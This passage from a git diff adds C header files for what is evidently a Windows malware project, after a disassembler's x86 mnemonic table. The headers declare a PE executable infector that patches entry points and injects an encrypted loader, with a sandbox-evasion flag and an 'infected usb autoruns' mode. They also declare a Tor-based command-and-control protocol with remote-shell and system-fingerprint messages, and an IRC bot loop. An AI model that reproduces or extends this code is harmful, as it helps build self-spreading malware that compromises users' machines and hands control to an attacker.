7651, I_PUNPCKHBW = 3802, + I_PUNPCKHDQ = 3848, I_PUNPCKHQDQ = 3917, I_PUNPCKHWD = 3825, I_PUNPCKLBW = 3634, + I_PUNPCKLDQ = 3680, I_PUNPCKLQDQ = 3892, I_PUNPCKLWD = 3657, I_PUSH = 16, + I_PUSHA = 91, I_PUSHF = 270, I_PXOR = 7003, I_RCL = 977, I_RCPPS = 2975, I_RCPSS = 2982, + I_RCR = 982, I_RDFSBASE = 9904, I_RDGSBASE = 9934, I_RDMSR = 600, I_RDPMC = 607, + I_RDRAND = 10048, I_RDTSC = 593, I_RDTSCP = 1886, I_RET = 325, I_RETF = 354, + I_ROL = 967, I_ROR = 972, I_ROUNDPD = 9318, I_ROUNDPS = 9299, I_ROUNDSD = 9356, + I_ROUNDSS = 9337, I_RSM = 882, I_RSQRTPS = 2937, I_RSQRTSS = 2946, I_SAHF = 283, + I_SAL = 997, I_SALC = 394, I_SAR = 1002, I_SBB = 36, I_SCAS = 319, I_SETA = 807, + I_SETAE = 780, I_SETB = 774, I_SETBE = 800, I_SETG = 859, I_SETGE = 845, I_SETL = 839, + I_SETLE = 852, I_SETNO = 767, I_SETNP = 832, I_SETNS = 819, I_SETNZ = 793, + I_SETO = 761, I_SETP = 826, I_SETS = 813, I_SETZ = 787, I_SFENCE = 4343, I_SGDT = 1691, + I_SHL = 987, I_SHLD = 876, I_SHR = 992, I_SHRD = 892, I_SHUFPD = 6358, I_SHUFPS = 6350, + I_SIDT = 1697, I_SKINIT = 1861, I_SLDT = 1657, I_SMSW = 1715, I_SQRTPD = 2877, + I_SQRTPS = 2869, I_SQRTSD = 2893, I_SQRTSS = 2885, I_STC = 497, I_STD = 517, + I_STGI = 1849, I_STI = 507, I_STMXCSR = 9973, I_STOS = 307, I_STR = 1663, I_SUB = 51, + I_SUBPD = 3401, I_SUBPS = 3394, I_SUBSD = 3415, I_SUBSS = 3408, I_SWAPGS = 1878, + I_SYSCALL = 532, I_SYSENTER = 614, I_SYSEXIT = 624, I_SYSRET = 547, I_TEST = 206, + I_TZCNT = 4373, I_UCOMISD = 2764, I_UCOMISS = 2755, I_UD2 = 569, I_UNPCKHPD = 2318, + I_UNPCKHPS = 2308, I_UNPCKLPD = 2276, I_UNPCKLPS = 2266, I_VADDPD = 3161, + I_VADDPS = 3153, I_VADDSD = 3177, I_VADDSS = 3169, I_VADDSUBPD = 6436, I_VADDSUBPS = 6447, + I_VAESDEC = 9239, I_VAESDECLAST = 9260, I_VAESENC = 9197, I_VAESENCLAST = 9218, + I_VAESIMC = 9180, I_VAESKEYGENASSIST = 9834, I_VANDNPD = 3060, I_VANDNPS = 3051, + I_VANDPD = 3027, I_VANDPS = 3019, I_VBLENDPD = 9403, I_VBLENDPS = 9384, I_VBLENDVPD = 9703, + I_VBLENDVPS = 9692, I_VBROADCASTF128 = 7694, I_VBROADCASTSD = 7680, I_VBROADCASTSS = 7666, + I_VCMPEQPD = 5110, I_VCMPEQPS = 4708, I_VCMPEQSD = 5914, I_VCMPEQSS = 5512, + I_VCMPEQ_OSPD = 5291, I_VCMPEQ_OSPS = 4889, I_VCMPEQ_OSSD = 6095, I_VCMPEQ_OSSS = 5693, + I_VCMPEQ_UQPD = 5197, I_VCMPEQ_UQPS = 4795, I_VCMPEQ_UQSD = 6001, I_VCMPEQ_UQSS = 5599, + I_VCMPEQ_USPD = 5400, I_VCMPEQ_USPS = 4998, I_VCMPEQ_USSD = 6204, I_VCMPEQ_USSS = 5802, + I_VCMPFALSEPD = 5232, I_VCMPFALSEPS = 4830, I_VCMPFALSESD = 6036, I_VCMPFALSESS = 5634, + I_VCMPFALSE_OSPD = 5441, I_VCMPFALSE_OSPS = 5039, I_VCMPFALSE_OSSD = 6245, + I_VCMPFALSE_OSSS = 5843, I_VCMPGEPD = 5259, I_VCMPGEPS = 4857, I_VCMPGESD = 6063, + I_VCMPGESS = 5661, I_VCMPGE_OQPD = 5471, I_VCMPGE_OQPS = 5069, I_VCMPGE_OQSD = 6275, + I_VCMPGE_OQSS = 5873, I_VCMPGTPD = 5269, I_VCMPGTPS = 4867, I_VCMPGTSD = 6073, + I_VCMPGTSS = 5671, I_VCMPGT_OQPD = 5484, I_VCMPGT_OQPS = 5082, I_VCMPGT_OQSD = 6288, + I_VCMPGT_OQSS = 5886, I_VCMPLEPD = 5130, I_VCMPLEPS = 4728, I_VCMPLESD = 5934, + I_VCMPLESS = 5532, I_VCMPLE_OQPD = 5317, I_VCMPLE_OQPS = 4915, I_VCMPLE_OQSD = 6121, + I_VCMPLE_OQSS = 5719, I_VCMPLTPD = 5120, I_VCMPLTPS = 4718, I_VCMPLTSD = 5924, + I_VCMPLTSS = 5522, I_VCMPLT_OQPD = 5304, I_VCMPLT_OQPS = 4902, I_VCMPLT_OQSD = 6108, + I_VCMPLT_OQSS = 5706, I_VCMPNEQPD = 5153, I_VCMPNEQPS = 4751, I_VCMPNEQSD = 5957, + I_VCMPNEQSS = 5555, I_VCMPNEQ_OQPD = 5245, I_VCMPNEQ_OQPS = 4843, I_VCMPNEQ_OQSD = 6049, + I_VCMPNEQ_OQSS = 5647, I_VCMPNEQ_OSPD = 5457, I_VCMPNEQ_OSPS = 5055, I_VCMPNEQ_OSSD = 6261, + I_VCMPNEQ_OSSS = 5859, I_VCMPNEQ_USPD = 5345, I_VCMPNEQ_USPS = 4943, I_VCMPNEQ_USSD = 6149, + I_VCMPNEQ_USSS = 5747, I_VCMPNGEPD = 5210, I_VCMPNGEPS = 4808, I_VCMPNGESD = 6014, + I_VCMPNGESS = 5612, I_VCMPNGE_UQPD = 5413, I_VCMPNGE_UQPS = 5011, I_VCMPNGE_UQSD = 6217, + I_VCMPNGE_UQSS = 5815, I_VCMPNGTPD = 5221, I_VCMPNGTPS = 4819, I_VCMPNGTSD = 6025, + I_VCMPNGTSS = 5623, I_VCMPNGT_UQPD = 5427, I_VCMPNGT_UQPS = 5025, I_VCMPNGT_UQSD = 6231, + I_VCMPNGT_UQSS = 5829, I_VCMPNLEPD = 5175, I_VCMPNLEPS = 4773, I_VCMPNLESD = 5979, + I_VCMPNLESS = 5577, I_VCMPNLE_UQPD = 5373, I_VCMPNLE_UQPS = 4971, I_VCMPNLE_UQSD = 6177, + I_VCMPNLE_UQSS = 5775, I_VCMPNLTPD = 5164, I_VCMPNLTPS = 4762, I_VCMPNLTSD = 5968, + I_VCMPNLTSS = 5566, I_VCMPNLT_UQPD = 5359, I_VCMPNLT_UQPS = 4957, I_VCMPNLT_UQSD = 6163, + I_VCMPNLT_UQSS = 5761, I_VCMPORDPD = 5186, I_VCMPORDPS = 4784, I_VCMPORDSD = 5990, + I_VCMPORDSS = 5588, I_VCMPORD_SPD = 5387, I_VCMPORD_SPS = 4985, I_VCMPORD_SSD = 6191, + I_VCMPORD_SSS = 5789, I_VCMPTRUEPD = 5279, I_VCMPTRUEPS = 4877, I_VCMPTRUESD = 6083, + I_VCMPTRUESS = 5681, I_VCMPTRUE_USPD = 5497, I_VCMPTRUE_USPS = 5095, I_VCMPTRUE_USSD = 6301, + I_VCMPTRUE_USSS = 5899, I_VCMPUNORDPD = 5140, I_VCMPUNORDPS = 4738, I_VCMPUNORDSD = 5944, + I_VCMPUNORDSS = 5542, I_VCMPUNORD_SPD = 5330, I_VCMPUNORD_SPS = 4928, I_VCMPUNORD_SSD = 6134, + I_VCMPUNORD_SSS = 5732, I_VCOMISD = 2818, I_VCOMISS = 2809, I_VCVTDQ2PD = 6841, + I_VCVTDQ2PS = 3360, I_VCVTPD2DQ = 6852, I_VCVTPD2PS = 3296, I_VCVTPS2DQ = 3371, + I_VCVTPS2PD = 3285, I_VCVTSD2SI = 2744, I_VCVTSD2SS = 3318, I_VCVTSI2SD = 2558, + I_VCVTSI2SS = 2547, I_VCVTSS2SD = 3307, I_VCVTSS2SI = 2733, I_VCVTTPD2DQ = 6829, + I_VCVTTPS2DQ = 3382, I_VCVTTSD2SI = 2681, I_VCVTTSS2SI = 2669, I_VDIVPD = 3550, + I_VDIVPS = 3542, I_VDIVSD = 3566, I_VDIVSS = 3558, I_VDPPD = 9643, I_VDPPS = 9630, + I_VERR = 1679, I_VERW = 1685, I_VEXTRACTF128 = 9538, I_VEXTRACTPS = 9513, + I_VFMADD132PD = 8409, I_VFMADD132PS = 8396, I_VFMADD132SD = 8435, I_VFMADD132SS = 8422, + I_VFMADD213PD = 8689, I_VFMADD213PS = 8676, I_VFMADD213SD = 8715, I_VFMADD213SS = 8702, + I_VFMADD231PD = 8969, I_VFMADD231PS = 8956, I_VFMADD231SD = 8995, I_VFMADD231SS = 8982, + I_VFMADDSUB132PD = 8348, I_VFMADDSUB132PS = 8332, I_VFMADDSUB213PD = 8628, + I_VFMADDSUB213PS = 8612, I_VFMADDSUB231PD = 8908, I_VFMADDSUB231PS = 8892, + I_VFMSUB132PD = 8461, I_VFMSUB132PS = 8448, I_VFMSUB132SD = 8487, I_VFMSUB132SS = 8474, + I_VFMSUB213PD = 8741, I_VFMSUB213PS = 8728, I_VFMSUB213SD = 8767, I_VFMSUB213SS = 8754, + I_VFMSUB231PD = 9021, I_VFMSUB231PS = 9008, I_VFMSUB231SD = 9047, I_VFMSUB231SS = 9034, + I_VFMSUBADD132PD = 8380, I_VFMSUBADD132PS = 8364, I_VFMSUBADD213PD = 8660, + I_VFMSUBADD213PS = 8644, I_VFMSUBADD231PD = 8940, I_VFMSUBADD231PS = 8924, + I_VFNMADD132PD = 8514, I_VFNMADD132PS = 8500, I_VFNMADD132SD = 8542, I_VFNMADD132SS = 8528, + I_VFNMADD213PD = 8794, I_VFNMADD213PS = 8780, I_VFNMADD213SD = 8822, I_VFNMADD213SS = 8808, + I_VFNMADD231PD = 9074, I_VFNMADD231PS = 9060, I_VFNMADD231SD = 9102, I_VFNMADD231SS = 9088, + I_VFNMSUB132PD = 8570, I_VFNMSUB132PS = 8556, I_VFNMSUB132SD = 8598, I_VFNMSUB132SS = 8584, + I_VFNMSUB213PD = 8850, I_VFNMSUB213PS = 8836, I_VFNMSUB213SD = 8878, I_VFNMSUB213SS = 8864, + I_VFNMSUB231PD = 9130, I_VFNMSUB231PS = 9116, I_VFNMSUB231SD = 9158, I_VFNMSUB231SS = 9144, + I_VHADDPD = 4219, I_VHADDPS = 4228, I_VHSUBPD = 4253, I_VHSUBPS = 4262, I_VINSERTF128 = 9525, + I_VINSERTPS = 9579, I_VLDDQU = 7023, I_VLDMXCSR = 9963, I_VMASKMOVDQU = 7153, + I_VMASKMOVPD = 7971, I_VMASKMOVPS = 7959, I_VMAXPD = 3610, I_VMAXPS = 3602, + I_VMAXSD = 3626, I_VMAXSS = 3618, I_VMCALL = 1735, I_VMCLEAR = 10011, I_VMFUNC = 1803, + I_VMINPD = 3490, I_VMINPS = 3482, I_VMINSD = 3506, I_VMINSS = 3498, I_VMLAUNCH = 1743, + I_VMLOAD = 1833, I_VMMCALL = 1824, I_VMOVAPD = 2498, I_VMOVAPS = 2489, I_VMOVD = 3954, + I_VMOVDDUP = 2256, I_VMOVDQA = 3984, I_VMOVDQU = 3993, I_VMOVHLPS = 2217, + I_VMOVHPD = 2404, I_VMOVHPS = 2395, I_VMOVLHPS = 2385, I_VMOVLPD = 2236, I_VMOVLPS = 2227, + I_VMOVMSKPD = 2858, I_VMOVMSKPS = 2847, I_VMOVNTDQ = 6880, I_VMOVNTDQA = 7927, + I_VMOVNTPD = 2615, I_VMOVNTPS = 2605, I_VMOVQ = 3961, I_VMOVSD = 2165, I_VMOVSHDUP = 2413, + I_VMOVSLDUP = 2245, I_VMOVSS = 2157, I_VMOVUPD = 2148, I_VMOVUPS = 2139, I_VMPSADBW = 9659, + I_VMPTRLD = 10002, I_VMPTRST = 6407, I_VMREAD = 4150, I_VMRESUME = 1753, I_VMRUN = 1817, + I_VMSAVE = 1841, I_VMULPD = 3221, I_VMULPS = 3213, I_VMULSD = 3237, I_VMULSS = 3229, + I_VMWRITE = 4174, I_VMXOFF = 1763, I_VMXON = 10020, I_VORPD = 3088, I_VORPS = 3081, + I_VPABSB = 7717, I_VPABSD = 7747, I_VPABSW = 7732, I_VPACKSSDW = 3881, I_VPACKSSWB = 3713, + I_VPACKUSDW = 7948, I_VPACKUSWB = 3791, I_VPADDB = 7233, I_VPADDD = 7263, + I_VPADDQ = 6510, I_VPADDSB = 6960, I_VPADDSW = 6977, I_VPADDUSW = 6651, I_VPADDW = 7248, + I_VPALIGNR = 9441, I_VPAND = 6635, I_VPANDN = 6694, I_VPAVGB = 6709, I_VPAVGW = 6754, + I_VPBLENDVB = 9714, I_VPBLENDW = 9422, I_VPCLMULQDQ = 9680, I_VPCMPEQB = 4074, + I_VPCMPEQD = 4112, I_VPCMPEQQ = 7907, I_VPCMPEQW = 4093, I_VPCMPESTRI = 9759, + I_VPCMPESTRM = 9736, I_VPCMPGTB = 3733, I_VPCMPGTD = 3771, I_VPCMPGTQ = 8118, + I_VPCMPGTW = 3752, I_VPCMPISTRI = 9805, I_VPCMPISTRM = 9782, I_VPERM2F128 = 9287, + I_VPERMILPD = 7592, I_VPERMILPS = 7581, I_VPEXTRB = 9459, I_VPEXTRD = 9484, + I_VPEXTRQ = 9493, I_VPEXTRW = 6341, I_VPHADDD = 7405, I_VPHADDSW = 7423, I_VPHADDW = 7388, + I_VPHMINPOSUW = 8293, I_VPHSUBD = 7481, I_VPHSUBSW = 7499, I_VPHSUBW = 7464, + I_VPINSRB = 9560, I_VPINSRD = 9606, I_VPINSRQ = 9615, I_VPINSRW = 6324, I_VPMADDUBSW = 7444, + I_VPMADDWD = 7104, I_VPMAXSB = 8204, I_VPMAXSD = 8221, I_VPMAXSW = 6994, I_VPMAXUB = 6678, + I_VPMAXUD = 8255, I_VPMAXUW = 8238, I_VPMINSB = 8136, I_VPMINSD = 8153, I_VPMINSW = 6932, + I_VPMINUB = 6620, I_VPMINUD = 8187, I_VPMINUW = 8170, I_VPMOVMSKB = 6563, + I_VPMOVSXBD = 7786, I_VPMOVSXBQ = 7807, I_VPMOVSXBW = 7765, I_VPMOVSXDQ = 7870, + I_VPMOVSXWD = 7828, I_VPMOVSXWQ = 7849, I_VPMOVZXBD = 8014, I_VPMOVZXBQ = 8035, + I_VPMOVZXBW = 7993, I_VPMOVZXDQ = 8098, I_VPMOVZXWD = 8056, I_VPMOVZXWQ = 8077, + I_VPMULDQ = 7889, I_VPMULHRSW = 7570, I_VPMULHUW = 6771, I_VPMULHW = 6789, + I_VPMULLD = 8272, I_VPMULLW = 6526, I_VPMULUDQ = 7085, I_VPOR = 6946, I_VPSADBW = 7122, + I_VPSHUFB = 7371, I_VPSHUFD = 4036, I_VPSHUFHW = 4045, I_VPSHUFLW = 4055, + I_VPSIGNB = 7517, I_VPSIGND = 7551, I_VPSIGNW = 7534, I_VPSLLD = 7053, I_VPSLLDQ = 9877, + I_VPSLLQ = 7068, I_VPSLLW = 7038, I_VPSRAD = 6739, I_VPSRAW = 6724, I_VPSRLD = 6480, + I_VPSRLDQ = 9860, I_VPSRLQ = 6495, I_VPSRLW = 6465, I_VPSUBB = 7173, I_VPSUBD = 7203, + I_VPSUBQ = 7218, I_VPSUBSB = 6898, I_VPSUBSW = 6915, I_VPSUBUSB = 6583, I_VPSUBUSW = 6602, + I_VPSUBW = 7188, I_VPTEST = 7658, I_VPUNPCKHBW = 3813, I_VPUNPCKHDQ = 3859, + I_VPUNPCKHQDQ = 3929, I_VPUNPCKHWD = 3836, I_VPUNPCKLBW = 3645, I_VPUNPCKLDQ = 3691, + I_VPUNPCKLQDQ = 3904, I_VPUNPCKLWD = 3668, I_VPXOR = 7009, I_VRCPPS = 2989, + I_VRCPSS = 2997, I_VROUNDPD = 9327, I_VROUNDPS = 9308, I_VROUNDSD = 9365, + I_VROUNDSS = 9346, I_VRSQRTPS = 2955, I_VRSQRTSS = 2965, I_VSHUFPD = 6375, + I_VSHUFPS = 6366, I_VSQRTPD = 2910, I_VSQRTPS = 2901, I_VSQRTSD = 2928, I_VSQRTSS = 2919, + I_VSTMXCSR = 9992, I_VSUBPD = 3430, I_VSUBPS = 3422, I_VSUBSD = 3446, I_VSUBSS = 3438, + I_VTESTPD = 7612, I_VTESTPS = 7603, I_VUCOMISD = 2783, I_VUCOMISS = 2773, + I_VUNPCKHPD = 2339, I_VUNPCKHPS = 2328, I_VUNPCKLPD = 2297, I_VUNPCKLPS = 2286, + I_VXORPD = 3117, I_VXORPS = 3109, I_VZEROALL = 4140, I_VZEROUPPER = 4128, + I_WAIT = 10042, I_WBINVD = 561, I_WRFSBASE = 9953, I_WRGSBASE = 9982, I_WRMSR = 586, + I_XABORT = 1007, I_XADD = 946, I_XBEGIN = 1015, I_XCHG = 212, I_XEND = 1811, + I_XGETBV = 1787, I_XLAT = 400, I_XOR = 61, I_XORPD = 3102, I_XORPS = 3095, + I_XRSTOR = 4295, I_XRSTOR64 = 4303, I_XSAVE = 4271, I_XSAVE64 = 4278, I_XSAVEOPT = 4321, + I_XSAVEOPT64 = 4331, I_XSETBV = 1795, I__3DNOW = 10056 + } _InstructionType; + +typedef enum { + R_RAX, R_RCX, R_RDX, R_RBX, R_RSP, R_RBP, R_RSI, R_RDI, R_R8, R_R9, R_R10, R_R11, R_R12, R_R13, R_R14, R_R15, + R_EAX, R_ECX, R_EDX, R_EBX, R_ESP, R_EBP, R_ESI, R_EDI, R_R8D, R_R9D, R_R10D, R_R11D, R_R12D, R_R13D, R_R14D, R_R15D, + R_AX, R_CX, R_DX, R_BX, R_SP, R_BP, R_SI, R_DI, R_R8W, R_R9W, R_R10W, R_R11W, R_R12W, R_R13W, R_R14W, R_R15W, + R_AL, R_CL, R_DL, R_BL, R_AH, R_CH, R_DH, R_BH, R_R8B, R_R9B, R_R10B, R_R11B, R_R12B, R_R13B, R_R14B, R_R15B, + R_SPL, R_BPL, R_SIL, R_DIL, + R_ES, R_CS, R_SS, R_DS, R_FS, R_GS, + R_RIP, + R_ST0, R_ST1, R_ST2, R_ST3, R_ST4, R_ST5, R_ST6, R_ST7, + R_MM0, R_MM1, R_MM2, R_MM3, R_MM4, R_MM5, R_MM6, R_MM7, + R_XMM0, R_XMM1, R_XMM2, R_XMM3, R_XMM4, R_XMM5, R_XMM6, R_XMM7, R_XMM8, R_XMM9, R_XMM10, R_XMM11, R_XMM12, R_XMM13, R_XMM14, R_XMM15, + R_YMM0, R_YMM1, R_YMM2, R_YMM3, R_YMM4, R_YMM5, R_YMM6, R_YMM7, R_YMM8, R_YMM9, R_YMM10, R_YMM11, R_YMM12, R_YMM13, R_YMM14, R_YMM15, + R_CR0, R_UNUSED0, R_CR2, R_CR3, R_CR4, R_UNUSED1, R_UNUSED2, R_UNUSED3, R_CR8, + R_DR0, R_DR1, R_DR2, R_DR3, R_UNUSED4, R_UNUSED5, R_DR6, R_DR7 +} _RegisterType; + +#endif /* MNEMONICS_H */ diff --git a/include/file.h b/include/file.h new file mode 100644 index 0000000..7d13a83 --- /dev/null +++ b/include/file.h @@ -0,0 +1,22 @@ +#ifndef FILE_H +#define FILE_H + +#define OF_WRITEACCESS 1 +#define OF_CREATENEW 2 + + +BOOL bOpenFile(const char* szFullPath, int oflags, HANDLE* hPtr); + +BOOL bHandleToBuf(HANDLE hFile, BYTE** bufPtr, SIZE_T* szFilePtr, SIZE_T* szReadPtr); + +BOOL bFileToBuf(HANDLE hFile, BYTE** bufPtr, SIZE_T* szBufPtr); + +BOOL bFileNameToBuf(const char* szFullPath, BYTE** pBuf, SIZE_T* pBufSiz); + +SIZE_T nBufToFile(HANDLE hFile, const BYTE* buf, SIZE_T szBuf); + +BOOL bBufToFileName(const char* szFullPath, int oflags, BYTE* buf, SIZE_T bufSiz); + +BOOL isFileInDir(LPSTR szDirName, LPSTR szFileName); + +#endif // FILE_H diff --git a/include/http.h b/include/http.h new file mode 100644 index 0000000..4f41471 --- /dev/null +++ b/include/http.h @@ -0,0 +1,140 @@ +#ifndef HTTP_H_INCLUDED +#define HTTP_H_INCLUDED + +#ifdef _WIN32 +#include <windows.h> +#endif + +#include "compat.h" + +#define ERR_HTTP_OK 0 +#define ERR_HTTP_PRE 2 +#define ERR_HTTP_CONNECT 4 +#define ERR_HTTP_REQUEST 8 +#define ERR_HTTP_SEND 16 +#define ERR_HTTP_WRITE 32 +#define ERR_HTTP_RESPONSE 64 +#define ERR_HTTP_QUERY 128 +#define ERR_HTTP_READ 256 + +#define RSP_OK 0 +#define RSP_ERR 2 +#define RSP_PROTOCOL 4 +#define RSP_PROTOCOL_FLAG 8 +#define RSP_PROTOCOL_CODE 16 +#define RSP_WRONGSIZE 32 +#define RSP_WRONGPKGSIZE 64 + +#define ST_UNAUTH 128 + +#define SID_LEN 32 +#define SID_ZEROES0 0x10 +#define SID_ZEROES1 0x05 +#define MARKER_SIZ 8 +#define RND_LEN 64 +#define AESKEY_SIZ 32 + +/* response flags from server */ +#define RF_AGAIN 0x41 +#define RF_ERROR 0x42 +#define RF_OK 0x66 +#define RF_ALL {RF_AGAIN,RF_ERROR,RF_OK} +/* response codes (RCs) from server <=> request client action */ +/* response codes (RCs) to server <=> request server action */ +#define RC_INFO 0xACAB +#define RC_REGISTER 0xAABB +#define RC_PING 0x0043 +#define RC_SHELL 0x0044 +#define RC_ALL {RC_INFO,RC_REGISTER,RC_PING,RC_SHELL} + + +typedef unsigned char rpkg[0]; + +typedef unsigned char rflags; +typedef uint16_t rrcode; +typedef unsigned char* rrbuff; +typedef uint32_t rrsize; + +typedef struct http_resp { + char startMarker[MARKER_SIZ]; + rflags respFlags; /* RF_* */ + rrcode respCode; /* RC_* */ + rrsize pkgsiz; + rpkg pkgbuf; +} __attribute__((packed, gcc_struct)) http_resp; + + +#ifdef _WIN32 +typedef int (__stdcall *tor_main_t) (int proxy_port, unsigned int ident); + +int initHttp(LoadLibraryFunc loadlib, GetProcAddressFunc getproc); + +typedef struct http_args { + LPCSTR host; + DWORD hostLen; + LPCSTR resource; + DWORD resourceLen; + LPCSTR method; + DWORD methodLen; + rrbuff upload; + DWORD uploadLen; +} http_args; + +int sendHttpRequest(http_args* hArgs, rrbuff* recv_buf, rrsize* recv_siz, DWORD* pStatusCode); + +int sendWeb2Tor(LPCSTR resource, LPCSTR method, rrbuff send_buf, rrsize send_siz, rrbuff* recv_buf, rrsize* recv_siz); + +int downloadLibtor(char** pLibPath); + +tor_main_t +loadLibtor(char* libPath, HMODULE* hmod, LoadLibraryFunc loadlib, GetProcAddressFunc getproc); + +int sendRequest(rrcode query_code, rrbuff send_buf, rrsize send_siz, rrbuff* recv_buf, rrsize* recv_siz); + +int httpLoopAtLeastOnce(void); + +uint32_t getNextPingTime(void); + +#endif /* _WIN32 */ + +int parseResponse(const rrbuff recv_buff, rrsize recv_siz, http_resp** hResp, size_t* pBufOff, const char* startMarker); + +int addRequest(rrbuff* send_buf, rrsize* send_siz, struct http_resp* hresp); + +/* data structures for valid pkgbuf's */ +#ifdef _WIN32 +struct req_info { + SYSTEM_INFO si; + HW_PROFILE_INFOA hw; + uint16_t cmdLineLen; + uint8_t devsLen; + rpkg data; +} __attribute__((packed, gcc_struct)); +#endif + +struct resp_register { + unsigned char aeskey[AESKEY_SIZ]; + uint32_t next_ping; +} __attribute__((packed, gcc_struct)); + +struct resp_pong { + uint32_t next_ping; +} __attribute__((packed, gcc_struct)); + +#define OP_OPEN 1 +#define OP_EXPL 2 +#define OP_PRNT 4 + +#define SC_HIDE 0 +#define SC_SHOW 255 + +struct resp_shell { + uint8_t operation; + uint8_t showcmd; + uint16_t fileLen; + uint16_t paramLen; + uint16_t dirLen; + rpkg data; +} __attribute__((packed, gcc_struct)); + +#endif /* HTTP_H_INCLUDED */ diff --git a/include/irc.h b/include/irc.h new file mode 100644 index 0000000..2f88c69 --- /dev/null +++ b/include/irc.h @@ -0,0 +1,35 @@ +#ifndef IRC_H_INCLUDED +#define IRC_H_INCLUDED + +#include "compat.h" + + +#define R_BUFSIZ 512 +#define S_BUFSIZ 256 +#define S_TIMEOUT 60000 + +typedef struct addrinfo { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + size_t ai_addrlen; + char *ai_canonname; + struct sockaddr *ai_addr; + struct addrinfo *ai_next; +} ADDRINFOA, *PADDRINFOA; + + +int initSocket(LoadLibraryFunc loadlib, GetProcAddressFunc getproc); + +int shutSocket(void); + +int ircRaw(const char* fmt, ...); + +int ircPrivmsg(const char* target, size_t totalSiz, const char* fmt, ...); + +int ircPrivmsgBinary(char* target, const unsigned char* buf, size_t siz); + +int ircLoop(const char* nick, const char* channel, const char* host, const char* port); + +#endif /* IRC_H_INCLUDED */ diff --git a/include/loader.h b/include/loader.h new file mode 100644 index 0000000..a01914b --- /dev/null +++ b/include/loader.h @@ -0,0 +1,39 @@ +/* + * WARNING: Any changes in this file require a *FULL* project rebuild! + * e.g.: `git clean -df . ; cmake . ; make -j4` + */ + +#ifndef LOADER_H_INCLUDED +#define LOADER_H_INCLUDED + +#include <stdint.h> + +#define LOADER_STR_IVKEYLEN 3 +#define LOADER_IVKEYLEN 8 + +#define TGL_FLAG(ldr, mask) { ldr->flags |= (~ldr->flags & mask); } +#define GET_FLAG(ldr, mask) (ldr->flags & mask) + +#define FLAG_EXIT_ONLY 16 /* 0b00010000 -> DLL exits after init (sandbox mode)*/ +#define FLAG_SHELLEXEC_ONLY 32 /* 0b00100000 -> DLL calls ShellExecute and exits (e.g. infected usb autoruns) */ +#define FLAG_CRYPTED_FUNCS 64 /* 0b01000000 -> DLL has crypted functions which are encrypted during runtime */ + + +/* should be the same structure as described at the end of `source/loader_x86.asm` */ +/* This struct is 4-byte aligned! */ +typedef struct loader_x86_data { + /* modified py source/patch.c only */ + uint32_t sizStack; + /* modified by batch/patchLoader.py (old app: source/tools/host/old/file_crypt.c) */ + char strVirtualAlloc[13]; + char strIsBadReadPtr[13]; + uint32_t iv[8]; + uint32_t key[8]; + /* modified by batch/patchLoader.py */ + uint16_t flags; /* DLL Flags */ + uint32_t ptrToDLL; /* Loader: VA of DLL section */ + uint32_t sizOfDLL; /* Loader: size of DLL section */ + uint32_t endMarker; /* ENDMARKER */ +} __attribute__((packed, gcc_struct)) loader_x86_data; + +#endif diff --git a/include/log.h b/include/log.h new file mode 100644 index 0000000..df4e820 --- /dev/null +++ b/include/log.h @@ -0,0 +1,24 @@ +#ifndef LOG +#define LOG + +#ifdef _DEBUG +#define EMBED_BREAKPOINT \ + __asm volatile("nop; int3; nop;") +#else +#define EMBED_BREAKPOINT +#endif + +#if defined(_DEBUG) || defined(_PRE_RELEASE) +#define LOG_MARKER { COMPAT(printf)("%s.%d: Marker!\n", __FILE__, __LINE__); } +#define PRINT_BYTES(buf, siz, delim) \ + { \ + char* result = __xbintostr(buf, siz, delim); \ + puts(result); \ + COMPAT(free)(result); \ + } +#else +#define LOG_MARKER {} +#define PRINT_BYTES(x,y,z) {} +#endif + +#endif // LOG_H diff --git a/include/math.h b/include/math.h new file mode 100644 index 0000000..cea9222 --- /dev/null +++ b/include/math.h @@ -0,0 +1,19 @@ +#ifndef MATH_H_INCLUDED +#define MATH_H_INCLUDED + +#include <stdlib.h> +#include <stdint.h> + +uint64_t __udivmoddi4(uint64_t num, uint64_t den, uint64_t * rem_p); + +uint64_t __umoddi3(uint64_t num, uint64_t den); + +int64_t __moddi3(int64_t num, int64_t den); + +uint64_t __udivdi3(uint64_t num, uint64_t den); + +int64_t __divdi3(int64_t num, int64_t den); + +size_t __pow(size_t x, size_t n); + +#endif // MATH_H_INCLUDED diff --git a/include/patch.h b/include/patch.h new file mode 100644 index 0000000..d773620 --- /dev/null +++ b/include/patch.h @@ -0,0 +1,21 @@ +#ifndef PATCH_H_INCLUDED +#define PATCH_H_INCLUDED + +#include <windows.h> + +#include "pe_infect.h" + +#define SIZEOF_X86_JMP32 5 + + +void patchRelJMP(BYTE* buf, DWORD destVA); + +BOOL bPatchLoader(const struct ParsedPE* ppe); + +BOOL bPatchNearEntry(const struct ParsedPE* ppe); + +int offFindNopsled(const BYTE* buf, SIZE_T szBuf, SIZE_T szNopsled); + +void offFillNops(BYTE* buf, SIZE_T szFill); + +#endif /* PATCH_H_INCLUDED */ diff --git a/include/pe_infect.h b/include/pe_infect.h new file mode 100644 index 0000000..fecbfcc --- /dev/null +++ b/include/pe_infect.h @@ -0,0 +1,86 @@ +#ifndef PE_INFECT_H +#define PE_INFECT_H + +#include "loader.h" + + +#define STRINGIFY(s) #s +#define MAKE_STR(s) STRINGIFY(s) + +typedef struct ParsedPE +{ + BOOL valid; + BYTE* ptrToBuf; + SIZE_T bufSiz; + PIMAGE_DOS_HEADER hdrDos; + PIMAGE_FILE_HEADER hdrFile; + PIMAGE_OPTIONAL_HEADER hdrOptional; + PIMAGE_SECTION_HEADER hdrSection; + PIMAGE_DATA_DIRECTORY dataDir; + /* dll stuff */ + BOOL hasDLL; + BYTE* ptrToDLL; + SIZE_T sizOfDLL; + /* loader stuff */ + BOOL hasLdr; + BYTE* ptrToLdr; + SIZE_T sizOfLdr; + struct loader_x86_data* loader86; +} __attribute__((packed, gcc_struct)) ParsedPE; + + +void setOrigLoader(const struct loader_x86_data* ldr); + +const struct loader_x86_data* getOrigLoader(void); + +void setImageBase(DWORD newBase); + +DWORD getImageBase(void); + +void setImageSize(DWORD newSize); + +DWORD getImageSize(void); + +void setSectionAdr(DWORD newAdr); + +DWORD getSectionAdr(void); + +BYTE* getLoader(SIZE_T* pSiz); + +SIZE_T getRealLoaderSize(void); + +BYTE* PtrFromOffset(BYTE* base, DWORD offset); + +DWORD RvaToOffset(const struct ParsedPE* ppPtr, DWORD dwRva); + +BYTE* RvaToPtr(const struct ParsedPE* ppPtr, DWORD dwRva); + +DWORD OffsetToRva(const struct ParsedPE* 